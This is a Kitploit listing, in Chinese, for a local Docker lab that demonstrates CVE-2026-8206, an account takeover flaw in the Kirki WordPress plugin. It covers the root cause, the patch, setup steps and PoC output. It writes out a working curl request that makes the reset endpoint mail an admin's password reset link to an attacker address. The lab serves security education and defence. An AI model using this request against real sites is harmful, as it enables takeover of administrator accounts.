Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8206-Lab — 本地Docker实验室,演示Kirki WordPress插件中CVE-2026-8206未认证账户接管漏洞。对比易受攻击的6.0.6版本与已修复的6.0.7版本,附带PoC脚本和捕获的邮件验证。 | Kitploit
工具/GitHubGitHub/rootdirective-sec/cve-2026-8206-lab
漏洞分析漏洞利用Web应用程序漏洞利用CTF学习与教育实验室与实践
GitHubrootdirective-sec/cve-2026-8206-lab

CVE-2026-8206-Lab

本地Docker实验室,演示Kirki WordPress插件中CVE-2026-8206未认证账户接管漏洞。对比易受攻击的6.0.6版本与已修复的6.0.7版本,附带PoC脚本和捕获的邮件验证。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
143个月前尚未审核
分享

CVE-2026-8206 - Kirki 帐户接管实验环境

用于演示 Kirki WordPress 插件中 CVE-2026-8206 的本地 Docker 实验环境。

此仓库对比了真实 Kirki 插件的两个版本:

  • vuln:Kirki 6.0.6
  • patched:Kirki 6.0.7

实验环境仅在本地运行,将 WordPress 服务绑定到 127.0.0.1。 PoC 的危害最小化:它请求一个密码重置,并验证实验环境内捕获的电子邮件收件人。它不会更改任何密码。


摘要

CVE-2026-8206 是 Kirki 版本 6.0.0 至 6.0.6 中的一个未认证帐户接管/权限提升漏洞。

有漏洞的密码重置处理器会为通过 username 选定的真实 WordPress 用户创建一个重置密钥,但将重置电子邮件发送到请求中提供的任意电子邮件地址。

在本实验环境中:

root@kitploit:~
vulnerable => 管理员的重置链接被发送至 [email protected]
patched    => 不匹配的电子邮件被拒绝,不会向 [email protected] 发送重置邮件

受影响的组件

  • 产品:Kirki – Freeform Page Builder, Website Builder & Customizer
  • 受影响版本:6.0.0 至 6.0.6
  • 修复版本:6.0.7
  • 本实验环境中使用的有漏洞端点:
root@kitploit:~
/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password

根本原因

有漏洞的处理程序位于:

root@kitploit:~
wp-content/plugins/kirki/ComponentLibrary/controller/CompLibFormHandler.php

6.0.6 中的有漏洞行为

Kirki 从请求体中读取攻击者提供的电子邮件:

root@kitploit:~
$email = isset( $form_data['email'] ) ? sanitize_email( $form_data['email'] ) : '';

然后它通过用户名解析目标 WordPress 用户,并为该用户创建密码重置密钥:

root@kitploit:~
$key = get_password_reset_key( $user );

但最终的重置邮件被发送到请求中提供的 $email:

root@kitploit:~
$sent = wp_mail( $email, $email_subject, $email_body, $headers );

这破坏了帐户身份与重置邮件收件人之间的信任边界。 一个未认证的请求者可以提供:

root@kitploit:~
username=admin
[email protected]

重置密钥属于 admin,但邮件被发送到攻击者控制的地址。

6.0.7 中的修补行为

Kirki 6.0.7 验证提供的电子邮件是否与解析出的用户的注册电子邮件一致,然后在发送前强制收件人为帐户电子邮件:

root@kitploit:~
$user_email = $user->get( 'user_email' );
if ( $email !== $user_email ) {
    // 拒绝请求
}

$email = $user_email;
$sent  = wp_mail( $email, $email_subject, $email_body, $headers );

实验环境设计

本地邮件被捕获到文件中,而不是外部发送:

root@kitploit:~
artifacts/vuln-mail/
artifacts/patched-mail/

实验环境使用通过 WP-CLI 安装的真实 Kirki 插件版本。插件源代码未被修改。


仓库结构

root@kitploit:~
.
├── docker-compose.yml
├── vuln/
│   └── Dockerfile
├── patched/
│   └── Dockerfile
├── docker/
│   ├── capture-mail
│   └── mail-capture.ini
├── scripts/
│   └── setup-wordpress.sh
├── poc/
│   ├── poc_local.py
│   └── run_lab_poc.sh
├── docs/
│   └── notes.md
├── SAFETY.md
├── README.md
└── .gitignore

要求

  • Docker Desktop 或 Docker Engine
  • Docker Compose v2
  • Python 3
  • Python requests 包

如果需要,安装 Python 依赖:

root@kitploit:~
python3 -m pip install requests

运行实验环境

启动容器:

root@kitploit:~
docker compose up -d --build

初始化两个 WordPress 实例:

root@kitploit:~
docker compose run --rm wpcli_vuln
docker compose run --rm wpcli_patched

运行 PoC:

root@kitploit:~
chmod +x poc/run_lab_poc.sh
./poc/run_lab_poc.sh

预期结果

有漏洞:Kirki 6.0.6

预期结果:

root@kitploit:~
[+] request: http=200 body='{"message":"Email sent"}'
[+] mail_state=MAIL_TO_ATTACKER_WITH_RESET_LINK: reset link sent to attacker-controlled email
[+] verdict=VULNERABLE_BEHAVIOR_CONFIRMED
    To: [email protected]
    Subject: CVE-2026-8206 local lab proof

这证明有漏洞版本将目标帐户的密码重置邮件发送到了攻击者控制的地址。

已修补:Kirki 6.0.7

预期结果:

root@kitploit:~
[+] request: http=404 body='{"message":"Invalid email address"}'
[+] mail_file=none
[+] mail_state=NO_MAIL: no captured reset email
[+] verdict=PATCHED_BEHAVIOR_CONFIRMED_NO_RESET_MAIL_TO_ATTACKER

这证明已修补版本拒绝了用户名/电子邮件不匹配,并且没有向攻击者控制的地址发送重置邮件。


手动验证

在有漏洞的实验环境中创建正确的 Kirki 元素 nonce:

root@kitploit:~
NONCE="$(docker compose run --rm --entrypoint wp wpcli_vuln eval 'echo wp_create_nonce(KIRKI_COMPONENT_LIBRARY_APP_PREFIX . "_kirki-forgot-password");' | tail -n 1)"

向有漏洞的服务发送仅本地的请求:

root@kitploit:~
curl -i -s -X POST "http://127.0.0.1:8081/?rest_route=/KirkiComponentLibrary/v1/kirki-forgot-password" \
  -H "X-WP-Element-Nonce: $NONCE" \
  -d "username=admin" \
  -d "[email protected]" \
  --data-urlencode "emailSubject=CVE-2026-8206 local lab proof" \
  --data-urlencode 'emailBody=[{"type":"text","value":"Local lab reset link: "},{"type":"chip","value":"reset_link"}]'

检查捕获的邮件:

root@kitploit:~
grep -R "^To:\|action=rp\|login=admin" artifacts/vuln-mail/

预期漏洞证据:

root@kitploit:~
To: [email protected]
... action=rp ... login=admin ...

安全性

本实验环境仅用于本地安全研究和作品展示。

防护措施:

  • 仅将服务绑定到 127.0.0.1。
  • 使用伪造的本地电子邮件地址。
  • 在本地捕获邮件而不是发送真实邮件。
  • 不会更改密码。
  • 不会尝试利用外部系统。

清理

root@kitploit:~
docker compose down -v --remove-orphans
rm -rf artifacts/vuln-mail artifacts/patched-mail

参考资料

  • CVE 记录:https://www.cve.org/CVERecord?id=CVE-2026-8206
  • Wordfence 公告:https://www.wordfence.com/blog/2026/06/unauthenticated-privilege-escalation-vulnerability-patched-in-kirki-wordpress-plugin/
  • Wordfence 漏洞数据库:https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/kirki/kirki-600-606-unauthenticated-privilege-escalation-via-handle-forgot-password
  • WordPress 插件页面/更新日志:https://wordpress.org/plugins/kirki/
  • OpenCVE 条目:https://app.opencve.io/cve/CVE-2026-8206
下载工具
服务用途主机 URL
vulnWordPress + Kirki 6.0.6http://127.0.0.1:8081
patchedWordPress + Kirki 6.0.7http://127.0.0.1:8082
db_vuln有漏洞 WordPress 的 MySQL仅 Docker 网络
db_patched已修补 WordPress 的 MySQL仅 Docker 网络
wpcli_vuln初始化有漏洞的 WordPress一次性设置
wpcli_patched初始化已修补的 WordPress一次性设置